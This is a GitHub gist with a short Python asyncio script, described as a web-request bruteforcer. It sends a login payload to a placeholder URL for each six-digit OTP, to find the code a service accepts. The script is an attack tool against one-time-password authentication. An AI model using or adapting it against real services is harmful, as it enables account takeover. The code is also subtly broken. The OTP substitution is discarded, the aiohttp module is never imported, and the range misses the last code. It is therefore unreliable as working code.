Created
January 5, 2019 15:32
-
-
Save LuD1161/266e8d9d6f4735f53785e30b63ba30d5 to your computer and use it in GitHub Desktop.
Bruteforcer for web requests
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import asyncio | |
from aiohttp import ClientSession | |
import json | |
headers = { | |
'Content-Type': 'application/json', | |
'Charset': 'UTF-8', | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36', | |
} # Change the headers accordingly | |
loop = asyncio.get_event_loop() | |
data = '{"mobile":"mobile_here","email":"email_here@email_here.com","password":"pass_here","otp":"OTP_HERE"}' # change to your payload | |
timeout = aiohttp.ClientTimeout(total=60) # change the timeout as needed | |
async def bruteforce(OTP): | |
global headers | |
global data | |
url = "URL_HERE" | |
data.replace('OTP_HERE',str(OTP)) | |
async with ClientSession(timeout=timeout) as session: | |
async with session.post(url, headers=headers, data=data) as response: | |
response = await response.read() | |
response = json.loads(response) | |
result = response.get('error','Maybe this is the one') | |
if result == 'Maybe this is the one': | |
print(str(OTP) + " " + str(response)) | |
else: | |
print(str(OTP)+" "+str(result)) | |
tasks = [] | |
for OTP in range(100000, 999999): | |
task = asyncio.ensure_future(bruteforce(OTP)) | |
tasks.append(task) | |
loop.run_until_complete(asyncio.wait(tasks)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment